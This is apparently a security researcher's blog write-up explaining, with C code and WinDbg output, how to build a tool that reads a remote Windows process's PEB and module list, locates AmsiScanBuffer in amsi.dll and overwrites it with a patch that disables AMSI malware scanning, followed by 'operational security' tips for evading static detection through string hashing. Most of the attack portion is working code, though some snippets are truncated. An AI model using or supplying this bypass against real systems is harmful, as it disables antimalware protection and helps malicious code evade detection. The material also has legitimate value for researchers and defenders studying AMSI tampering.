0x00 Abstract

The 12th Jun 2019 I wrote a paper about the Anti-Malware Scan Interface technology. At this time, the objective was to dig into the AMSI internals in order to, firstly, understand how the technology works and, secondly, how it is possible to bypass AMSI by carrying out an in memory module function patching.

This paper will not provide more information about AMSI and the patch will be the same. The reason being that a good amount of people already talked about it over the last years. Instead I will use this module in-memory patching as a case study for writing a tool in C that enumerate a remote process.

Link to the paper: https://www.contextis.com/en/blog/amsi-bypass
Source code of the tool can be found on Github: https://github.com/am0nsec/wspe/tree/master/AMSI
Demonstration: AMSI Module Remote In-Memory Patching \

0x01 Remote Process Environment Block

The Process Environment Block (PEB) is a very interesting structure that contains a lot of information such as the current session ID, the base address of the image and the handle of the default heap executive object. The PEB structure is created by the kernel during process creation and is populated with data from the EPROCESS / KPROCESS structures, which are kernel structures.

The structure is not fully documented by Microsoft but can be easily reverse engineered with WinDBG. The dt command is used to display information about a data type, in this case the PEB structure.

lkd> dt nt!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : Ptr64 Void
   +0x030 ProcessHeap      : Ptr64 Void
   +0x038 FastPebLock      : Ptr64 _RTL_CRITICAL_SECTION
   +0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER
   +0x048 IFEOKey          : Ptr64 Void
   +0x050 CrossProcessFlags : Uint4B
   +0x050 ProcessInJob     : Pos 0, 1 Bit
   +0x050 ProcessInitializing : Pos 1, 1 Bit
   +0x050 ProcessUsingVEH  : Pos 2, 1 Bit
   +0x050 ProcessUsingVCH  : Pos 3, 1 Bit
   +0x050 ProcessUsingFTH  : Pos 4, 1 Bit
   +0x050 ProcessPreviouslyThrottled : Pos 5, 1 Bit
   +0x050 ProcessCurrentlyThrottled : Pos 6, 1 Bit
   +0x050 ProcessImagesHotPatched : Pos 7, 1 Bit
   +0x050 ReservedBits0    : Pos 8, 24 Bits
   +0x054 Padding1         : [4] UChar
   +0x058 KernelCallbackTable : Ptr64 Void
   +0x058 UserSharedInfoPtr : Ptr64 Void
   +0x060 SystemReserved   : Uint4B
   +0x064 AtlThunkSListPtr32 : Uint4B
   +0x068 ApiSetMap        : Ptr64 Void
   +0x070 TlsExpansionCounter : Uint4B
   +0x074 Padding2         : [4] UChar
   +0x078 TlsBitmap        : Ptr64 Void
   +0x080 TlsBitmapBits    : [2] Uint4B
   +0x088 ReadOnlySharedMemoryBase : Ptr64 Void
   +0x090 SharedData       : Ptr64 Void
   +0x098 ReadOnlyStaticServerData : Ptr64 Ptr64 Void
   +0x0a0 AnsiCodePageData : Ptr64 Void
   +0x0a8 OemCodePageData  : Ptr64 Void
   +0x0b0 UnicodeCaseTableData : Ptr64 Void
   +0x0b8 NumberOfProcessors : Uint4B
   +0x0bc NtGlobalFlag     : Uint4B
   +0x0c0 CriticalSectionTimeout : _LARGE_INTEGER
   +0x0c8 HeapSegmentReserve : Uint8B
   +0x0d0 HeapSegmentCommit : Uint8B
   +0x0d8 HeapDeCommitTotalFreeThreshold : Uint8B
   +0x0e0 HeapDeCommitFreeBlockThreshold : Uint8B
   +0x0e8 NumberOfHeaps    : Uint4B
   +0x0ec MaximumNumberOfHeaps : Uint4B
   +0x0f0 ProcessHeaps     : Ptr64 Ptr64 Void
   +0x0f8 GdiSharedHandleTable : Ptr64 Void
   +0x100 ProcessStarterHelper : Ptr64 Void
   +0x108 GdiDCAttributeList : Uint4B
   +0x10c Padding3         : [4] UChar
   +0x110 LoaderLock       : Ptr64 _RTL_CRITICAL_SECTION
   +0x118 OSMajorVersion   : Uint4B
   +0x11c OSMinorVersion   : Uint4B
   +0x120 OSBuildNumber    : Uint2B
   +0x122 OSCSDVersion     : Uint2B
   +0x124 OSPlatformId     : Uint4B
   +0x128 ImageSubsystem   : Uint4B
   +0x12c ImageSubsystemMajorVersion : Uint4B
   +0x130 ImageSubsystemMinorVersion : Uint4B
   +0x134 Padding4         : [4] UChar
   +0x138 ActiveProcessAffinityMask : Uint8B
   +0x140 GdiHandleBuffer  : [60] Uint4B
   +0x230 PostProcessInitRoutine : Ptr64     void
   +0x238 TlsExpansionBitmap : Ptr64 Void
   +0x240 TlsExpansionBitmapBits : [32] Uint4B
   +0x2c0 SessionId        : Uint4B
   +0x2c4 Padding5         : [4] UChar
   +0x2c8 AppCompatFlags   : _ULARGE_INTEGER
   +0x2d0 AppCompatFlagsUser : _ULARGE_INTEGER
   +0x2d8 pShimData        : Ptr64 Void
   +0x2e0 AppCompatInfo    : Ptr64 Void
   +0x2e8 CSDVersion       : _UNICODE_STRING
   +0x2f8 ActivationContextData : Ptr64 _ACTIVATION_CONTEXT_DATA
   +0x300 ProcessAssemblyStorageMap : Ptr64 _ASSEMBLY_STORAGE_MAP
   +0x308 SystemDefaultActivationContextData : Ptr64 _ACTIVATION_CONTEXT_DATA
   +0x310 SystemAssemblyStorageMap : Ptr64 _ASSEMBLY_STORAGE_MAP
   +0x318 MinimumStackCommit : Uint8B
   +0x320 SparePointers    : [4] Ptr64 Void
   +0x340 SpareUlongs      : [5] Uint4B
   +0x358 WerRegistrationData : Ptr64 Void
   +0x360 WerShipAssertPtr : Ptr64 Void
   +0x368 pUnused          : Ptr64 Void
   +0x370 pImageHeaderHash : Ptr64 Void
   +0x378 TracingFlags     : Uint4B
   +0x378 HeapTracingEnabled : Pos 0, 1 Bit
   +0x378 CritSecTracingEnabled : Pos 1, 1 Bit
   +0x378 LibLoaderTracingEnabled : Pos 2, 1 Bit
   +0x378 SpareTracingBits : Pos 3, 29 Bits
   +0x37c Padding6         : [4] UChar
   +0x380 CsrServerReadOnlySharedMemoryBase : Uint8B
   +0x388 TppWorkerpListLock : Uint8B
   +0x390 TppWorkerpList   : _LIST_ENTRY
   +0x3a0 WaitOnAddressHashTable : [128] Ptr64 Void
   +0x7a0 TelemetryCoverageHeader : Ptr64 Void
   +0x7a8 CloudFileFlags   : Uint4B
   +0x7ac CloudFileDiagFlags : Uint4B
   +0x7b0 PlaceholderCompatibilityMode : Char
   +0x7b1 PlaceholderCompatibilityModeReserved : [7] Char
   +0x7b8 LeapSecondData   : Ptr64 _LEAP_SECOND_DATA
   +0x7c0 LeapSecondFlags  : Uint4B
   +0x7c0 SixtySecondEnabled : Pos 0, 1 Bit
   +0x7c0 Reserved         : Pos 1, 31 Bits
   +0x7c4 NtGlobalFlag2    : Uint4B

Windows APIs are just pulling data out of the PEB structure. For example, version helper functions are pulling OSMajorVersion and OSMinorVersion. In a local process this is fairly easy to get access to the PEB as the pointer to the PEB structure is stored into the GS register at offset 0x60 for x64 architecture and from the FS register at offset 0x30 for x86 architecture. It is also possible to get the PEB from the ProcessEnvironmentBlock field of the Thread Environment Block (TEB) structure. In the same fashion as the PEB, the pointer to the structure is stored in the GS register at offset 0x30 for x64 architecture and in the FS register at offset 0x16 for x86 architecture.

The __readgsqword and __readfsdword intrinsic function can be invoked to get a pointer to the TEB.

#if _WIN64
    PTEB g_pCurrentTeb = (PTEB)__readgsqword(0x30);
    PTEB g_pCurrentTeb = (PTEB)__readfsdword(0x16);
    PPEB g_pCurrentPeb = g_pCurrentTeb->ProcessEnvironmentBlock;
    if (!g_pCurrentPeb || g_pCurrentPeb->OSMajorVersion != 0xA) {
        wprintf(L"[-] This program is only supported by Windows 10 and greater.\n\n");
        return 0x1;

In order to get the PEB from a remote process, this require more steps as information need to be queried from the remote process. First step is to get a handle to the process. In Windows, as it is not possible from userland code to directly access objects, handles are used as reference to an object, in this case a process is a kernel objects. From user mode, the OpenProcess function can be invoked to get an handle to a process. When requesting a handle to an object, access flags have to be provided. These access flags will be checked against the security descriptor of the object and will subsequently dictate which actions are allowed for the object.

The process ID, which is the real identifier of a process (image name is not), can be used in conjunction with the OpenProcess function to get a handle to the target process.

DWORD dwRemoteProcessId = _wtoi(argv[1]);
if (hRemoteProcess == INVALID_HANDLE_VALUE) {
    wprintf(L"[-] Error while getting a HANDLE to the remote process: %d\n\n", g_pCurrentTeb->LastErrorValue);
    return 0x01;

The PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_READ and PROCESS_VM_WRITE access flags are set in order to be able to, respectively:

  • Get basic information from the target process;
  • Perform operations with the virtual private memory of the target process;
  • Read memory from the target process; and
  • Write to memory of the target process.

If the handle is valid (i.e. not equal INVALID_HANDLE_VALUE), it can be used with the NtQueryInformationProcess native function from the ntdll.dll module to get more information about the process. Address of the function can be found by using the GetProcAddress function from the kernel32.dll module.

if (NtQueryInformationProcess == 0x0) {
    HMODULE hModule = LoadLibrary(L"NTDLL.DLL");
    NtQueryInformationProcess = GetProcAddress(hModule, "NtQueryInformationProcess");

The function can then be invoked with ProcessBasicInformation (0) as second parameter. This will return the PROCESS_BASIC_INFORMATION structure.

ULONG lBytesWritten = 0;
NtQueryInformationProcess(hRemoteProcess, 0, &BasicInformation , sizeof(PROCESS_BASIC_INFORMATION), &lBytesWritten);
if (lBytesWritten != sizeof(PROCESS_BASIC_INFORMATION)) {
    wprintf(L"[-] Something went wrong will gathering remote process basic information: %d\n\n", g_pCurrentTeb->LastErrorValue);
    return 0x01;

The prototype of the PROCESS_BASIC_INFORMATION structure is as follows:

    NTSTATUS  ExitStatus;
    PPEB      PebBaseAddress;
    ULONG_PTR AffinityMask;
    LONG      BasePriority;
    PVOID     UniqueProcessId;
    PVOID     InheritedFromUniqueProcessId;

The PebBaseAddress field of the structure is the address to the PEB in the remote process. Because, this address as no meaning for the current running process, the ReadProcessMemory function from the kernel32.dll module has to be used in order to remotely get the PEB structure of the target process.

PEB RemotePeb;
SIZE_T lBytesRead = 0;
ReadProcessMemory(hRemoteProcess, BasicInformation .PebBaseAddress, &RemotePeb, sizeof(PEB), &lBytesRead);
if (lBytesRead != sizeof(PEB)) {
    wprintf(L"[-] Something went wrong will getting remote PEB: %d\n\n", g_pCurrentTeb->LastErrorValue);
    return 0x01;

0x02 In-Memory Loaded Modules

As shown earlier, the PEB structure has a lot of interesting information, another one of them is the address to the PEB_LDR_DATA structure at offset 0x18 for x64 architecture and offset 0x0c for x86 architecture.

lkd> dt nt!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr64 Void
   +0x010 InLoadOrderModuleList : _LIST_ENTRY
   +0x020 InMemoryOrderModuleList : _LIST_ENTRY
   +0x030 InInitializationOrderModuleList : _LIST_ENTRY
   +0x040 EntryInProgress  : Ptr64 Void
   +0x048 ShutdownInProgress : UChar
   +0x050 ShutdownThreadId : Ptr64 Void

The prototype of the PEB_LDR_DATA structure is as follows:

typedef struct _PEB_LDR_DATA {
    ULONG      Length;
    ULONG      Initialized;
    PVOID      SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;

Based on the above, to read the address of the PEB_LDR_DATA structure, the following code can be used:

PPEB_LDR_DATA pLdrDataAddress;
ReadProcessMemory(hRemoteProcess, ((LPBYTE)BasicInformation.PebBaseAddress + 0x18), &pLdrDataAddress, sizeof(PPEB_LDR_DATA), &lBytesRead);

ReadProcessMemory(hRemoteProcess, pLdrDataAddress, &LdrData, sizeof(PEB_LDR_DATA), &lBytesRead);
if (lBytesRead != sizeof(PEB_LDR_DATA)) {
    wprintf(L"[-] Invalid loader data structure returned: %d\n\n", g_pCurrentTeb->LastErrorValue);
    return 0x01;

The structure has three fields, InLoadOrderModuleList, InMemoryOrderModuleList and InInitializationOrderModuleList, which are addresses to LIST_ENTRY structure structures.

lkd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

The LIST_ENTRY structure is a doubly linked structure, in which each fields are addresses to a LDR_DATA_TABLE_ENTRY structure. Flink being the next entry and Blink the previous entry.

Structure prototypes are as follows:

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    ULONG Flags;
    WORD LoadCount;
    WORD TlsIndex;
    union {
        LIST_ENTRY HashLinks;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
    union {
        ULONG TimeDateStamp;
        PVOID LoadedImports;
    PACTIVATION_CONTEXT EntryPointActivationContext;
    PVOID PatchInformation;
    LIST_ENTRY ForwarderLinks;
    LIST_ENTRY ServiceTagLinks;
    LIST_ENTRY StaticLinks;

There is one LDR_DATA_TABLE_ENTRY structure for each module loaded by the process and the structure contains useful information such as the name and the base address of the module.

The following code is used to loop through all the LDR_DATA_TABLE_ENTRY structure and compare the BaseDllName field with the name of the AMSI module, which is amsi.dll. If the name match, it is possible to get the base address of the module in the memory of the target process.

PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PBYTE)LdrData.InMemoryOrderModuleList.Flink - 0x10);
PLIST_ENTRY pListEntryFirstElement = pListEntry;
LPCVOID lpModuleBaseAddress = 0;
do {
    ReadProcessMemory(hRemoteProcess, pListEntry, &LdrDataEntry, sizeof(LDR_DATA_TABLE_ENTRY), &lBytesRead);
    if (lBytesRead != sizeof(LDR_DATA_TABLE_ENTRY)) {
        wprintf(L"[-] Invalid loader data entry returned: %d\n\n", g_pCurrentTeb->LastErrorValue);
        return 0x1;

    // Get the name of the module
    if (LdrDataEntry.DllBase) {
        PWCHAR pLdrDataEntryName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, LdrDataEntry.BaseDllName.MaximumLength);
        ReadProcessMemory(hRemoteProcess, LdrDataEntry.BaseDllName.Buffer, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL);

        // Check the name of the module
        if (wcscmp(pLdrDataEntryName, L"amsi.dll") == 0) {
            lpModuleBaseAddress = LdrDataEntry.DllBase;
        HeapFree(g_pCurrentPeb->ProcessHeap, 0, pLdrDataEntryName);
        pLdrDataEntryName = NULL;

    if (lpModuleBaseAddress != 0)

    // Get next module
    pListEntry = (PLIST_ENTRY)((PBYTE)LdrDataEntry.InMemoryOrderLinks.Flink - 0x10);
} while (pListEntry != pListEntryFirstElement);

if (lpModuleBaseAddress == 0) {
    wprintf(L"[-] Invalid module base addreess: %d\n\n", g_pCurrentTeb->LastErrorValue);
    return 0x01;
wprintf(L"   - Module base address: 0x%016llx\n", (DWORD64)lpModuleBaseAddress);

Note that 0x10 is the size of a LIST_ENTRY structure and is subtracted from the address to the LDR_DATA_TABLE_ENTRY structure because the Flink field is the first field of the structure.

Example with an arbitrary module from a arbitrary process:

lkd> dt nt!_LIST_ENTRY poi(@$peb+0x18)+0x20
 [ 0x000001da`41562b10 - 0x000001da`5b8f1e40 ]
   +0x000 Flink            : 0x000001da`41562b10 _LIST_ENTRY [ 0x000001da`41562980 - 0x00007ffe`2b9994e0 ]
   +0x008 Blink            : 0x000001da`5b8f1e40 _LIST_ENTRY [ 0x00007ffe`2b9994e0 - 0x000001da`5b8f0090 ]
lkd> dt nt!_LDR_DATA_TABLE_ENTRY poi(0x000001da`41562b10 - 0x10)
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000001da`41563090 - 0x000001da`41562b00 ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000001da`415630a0 - 0x000001da`41562b10 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x000001da`415636c0 - 0x00007ffe`2b9994f0 ]
   +0x030 DllBase          : 0x00007ffe`2b830000 Void
   +0x038 EntryPoint       : (null)
   +0x040 SizeOfImage      : 0x1f4000
   +0x048 FullDllName      : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\ntdll.dll"
   +0x058 BaseDllName      : _UNICODE_STRING "ntdll.dll"

0x03 Find Module Function Addresses

The base address of a module is the address of the Portable Executable (PE) header of the module in memory. The header contain all the information related to the module, such as the MS-DOS header, the file header, the optional header and much more. In this case, the interesting information is the IMAGE_EXPORT_DIRECTORY structure, which has its address located in an array of IMAGE_DATA_DIRECTORY in the optional header. As the name implies, the export directory structure contains information about the exported data, such as functions and resources.

As mentioned, getting the export directory is not a straight forward operation and multiples steps are required. First one being to read get IMAGE_DOS_HEADER structure of the module from the target process.

IMAGE_DOS_HEADER ModuleImageDosHeader;
ReadProcessMemory(hRemoteProcess, lpModuleBaseAddress, &ModuleImageDosHeader, sizeof(IMAGE_DOS_HEADER), &lBytesRead);
if (ModuleImageDosHeader.e_magic != IMAGE_DOS_SIGNATURE || lBytesRead != sizeof(IMAGE_DOS_HEADER)) {
    wprintf(L"[-] Invalid module DOS header: %d\n\n", g_pCurrentTeb->LastErrorValue);
    return 0x01;

Because between the DOS header and the NT header there is the MS-DOS stub program, the last field e_lfanew of the DOS header has the number of bytes to the next PE header. In this case the number of bytes to the NT header.

lkd> dt nt!_IMAGE_DOS_HEADER
   +0x000 e_magic          : Uint2B
   +0x002 e_cblp           : Uint2B
   +0x004 e_cp             : Uint2B
   +0x006 e_crlc           : Uint2B
   +0x008 e_cparhdr        : Uint2B
   +0x00a e_minalloc       : Uint2B
   +0x00c e_maxalloc       : Uint2B
   +0x00e e_ss             : Uint2B
   +0x010 e_sp             : Uint2B
   +0x012 e_csum           : Uint2B
   +0x014 e_ip             : Uint2B
   +0x016 e_cs             : Uint2B
   +0x018 e_lfarlc         : Uint2B
   +0x01a e_ovno           : Uint2B
   +0x01c e_res            : [4] Uint2B
   +0x024 e_oemid          : Uint2B
   +0x026 e_oeminfo        : Uint2B
   +0x028 e_res2           : [10] Uint2B
   +0x03c e_lfanew         : Int4B

The NT header embed the file header and the optional header, which are respectively the IMAGE_FILE_HEADER and IMAGE_OPTIONAL_HEADER structures.

lkd> dt nt!_IMAGE_NT_HEADERS64
   +0x000 Signature        : Uint4B
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
   +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER64

The interesting structure is IMAGE_OPTIONAL_HEADER because it contains an array of IMAGE_DATA_DIRECTORY structures.

   +0x000 Magic            : Uint2B
   +0x002 MajorLinkerVersion : UChar
   +0x003 MinorLinkerVersion : UChar
   +0x004 SizeOfCode       : Uint4B
   +0x008 SizeOfInitializedData : Uint4B
   +0x00c SizeOfUninitializedData : Uint4B
   +0x010 AddressOfEntryPoint : Uint4B
   +0x014 BaseOfCode       : Uint4B
   +0x018 ImageBase        : Uint8B
   +0x020 SectionAlignment : Uint4B
   +0x024 FileAlignment    : Uint4B
   +0x028 MajorOperatingSystemVersion : Uint2B
   +0x02a MinorOperatingSystemVersion : Uint2B
   +0x02c MajorImageVersion : Uint2B
   +0x02e MinorImageVersion : Uint2B
   +0x030 MajorSubsystemVersion : Uint2B
   +0x032 MinorSubsystemVersion : Uint2B
   +0x034 Win32VersionValue : Uint4B
   +0x038 SizeOfImage      : Uint4B
   +0x03c SizeOfHeaders    : Uint4B
   +0x040 CheckSum         : Uint4B
   +0x044 Subsystem        : Uint2B
   +0x046 DllCharacteristics : Uint2B
   +0x048 SizeOfStackReserve : Uint8B
   +0x050 SizeOfStackCommit : Uint8B
   +0x058 SizeOfHeapReserve : Uint8B
   +0x060 SizeOfHeapCommit : Uint8B
   +0x068 LoaderFlags      : Uint4B
   +0x06c NumberOfRvaAndSizes : Uint4B
   +0x070 DataDirectory    : [16] _IMAGE_DATA_DIRECTORY

Each element of the array is a IMAGE_DATA_DIRECTORY structure, which has two fields. The structure has the relative virtual address (RVA) and size of another structure with more information about the module. For example, the first element (index 0) is has the RVA to the IMAGE_EXPORT_DIRECTORY structure and the third element (index 2) has the RVA to the IMAGE_RESOURCE_DIRECTORY structure. In total there is 16 elements (max index being 15).

   +0x000 VirtualAddress   : Uint4B
   +0x004 Size             : Uint4B

In this case, the first element of the array is the one that is needed as it provide the RVA of the IMAGE_EXPORT_DIRECTORY structure. The structure is defined as follows:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image

Based on the above, the following code can be used to get the IMAGE_EXPORT_DIRECTORY structure of the module from the target process.

PIMAGE_DATA_DIRECTORY pDataDirectory = ModuleImageNtHeaders.OptionalHeader.DataDirectory
ReadProcessMemory(hRemoteProcess, ((PBYTE)lpModuleBaseAddress + pDataDirectory[0].VirtualAddress), &ModuleExportDirectory, pDataDirectory[0].Size, &lBytesRead);
if (lBytesRead != pDataDirectory[0].Size) {
    wprintf(L"[-] Invalid export directory returned: %d\n\n", g_pCurrentTeb->LastErrorValue);
    return 0x01;

The last three fields, AddressOfFunctions, AddressOfNames and AddressOfNameOrdinals are arrays to the functions’ address, the functions’ name and the functions’ ordinal. Therefore, all three arrays can be parsed to find the address of the module function that need to be patched. In this case: AmsiScanBuffer.

PDWORD aAddressOfFunctions = (PDWORD)((PBYTE)lpModuleBaseAddress + ModuleExportDirectory.AddressOfFunctions);
PDWORD aAddressOfNames = (PDWORD)((PBYTE)lpModuleBaseAddress + ModuleExportDirectory.AddressOfNames);
PWORD aAddressOfNameOrdinales = (PWORD)((PBYTE)lpModuleBaseAddress + ModuleExportDirectory.AddressOfNameOrdinals);

LPVOID lpFunctionAddress = 0;
for (WORD cx = 0; cx < ModuleExportDirectory.NumberOfNames; cx++) {
    DWORD dwAddressOfNamesValue = 0;
    ReadProcessMemory(hRemoteProcess, aAddressOfNames + cx, &dwAddressOfNamesValue, sizeof(DWORD), NULL);

    PBYTE pFunctionName = HeapAlloc(pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, MAX_PATH);
    ReadProcessMemory(hRemoteProcess, (PBYTE)lpModuleBaseAddress + dwAddressOfNamesValue, pFunctionName, MAX_PATH, NULL);

    if (strcmp(pFunctionName , "AmsiScanBuffer") == 0) {
        WORD wFunctionOrdinal = 0;
        ReadProcessMemory(hRemoteProcess, aAddressOfNameOrdinales + cx, &wFunctionOrdinal, sizeof(WORD), &lBytesRead);
        if (lBytesRead != sizeof(WORD)) {
            wprintf(L"[-] Error while getting the ordinal of the function");
            return 0x1;

        DWORD dwFunctionAddressOffset = 0;
        ReadProcessMemory(hRemoteProcess, aAddressOfFunctions + wFunctionOrdinal, &dwFunctionAddressOffset, sizeof(DWORD), &lBytesRead);
        if (lBytesRead != sizeof(DWORD)) {
            wprintf(L"[-] Error while getting the address of the function");
            return 0x1;

        lpFunctionAddress = (PBYTE)lpModuleBaseAddress + dwFunctionAddressOffset;

    HeapFree(pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, pFunctionName);
    pFunctionName = NULL;

    if (lpFunctionAddress != 0)
wprintf(L"   - Function address: 0x%016llx\n", (DWORD64)lpFunctionAddress);

0x04 Patching the Module Function

Knowing the address of the module function in the target memory, it is possible to inject the patch by invoking the WriteProcessMemory function from the kernel32.dll module.

SIZE_T lWrittenBytes = 0;
BYTE patch[] = { 0x31, 0xC0, 0xC3 };
WriteProcessMemory(hRemoteProcess, lpFunctionAddress, (LPCVOID)&patch, (sizeof(BYTE) * 3), &lWrittenBytes);

Further information about the patch can be found in the original paper: https://www.contextis.com/en/blog/amsi-bypass

0x05 Operational Security Considerations

There is few things that can be improved, the first one being the high number of read operations in the virtual private memory of the target process. Something like mapping a big chunk of data and parsing it in the local process might be stealthier.

Second thing is that the program has the following hardcoded strings: amsi.dll and AmsiScanBuffer. Static analysis of the program might result in an alert due to their presence in the code as this is well known indicator of AMSI tempering. Therefore, using function hashing is preferred.

Example of function that can be used to get the hash of an ASCII string.

DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x77347734;
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << data-preserve-html-node="true" 0x5) + dwHash) + c;

    return dwHash;

Then instead of comparing the name of the module with amsi.dll, this can be compared with a hash previously computed. For example:

#define MODULE_NAME_HASH 0x7a41ff5c4c483108
PWCHAR pLdrDataEntryName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, LdrDataEntry.BaseDllName.MaximumLength);
ReadProcessMemory(hRemoteProcess, LdrDataEntry.BaseDllName.Buffer, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL);

// Convert from Unicode to ASCII
INT size = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL, 0, NULL, NULL);
PBYTE pLdrDataEntryNameAscii = HeapAlloc(g_pCurrentPeb->ProcessHeap, 0, size + 1);
size = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, pLdrDataEntryNameAscii, size, NULL, NULL);

// Check the name of the module
if (MODULE_NAME_HASH == djb2(pLdrDataEntryNameAscii)) {
    lpModuleBaseAddress = LdrDataEntry.DllBase;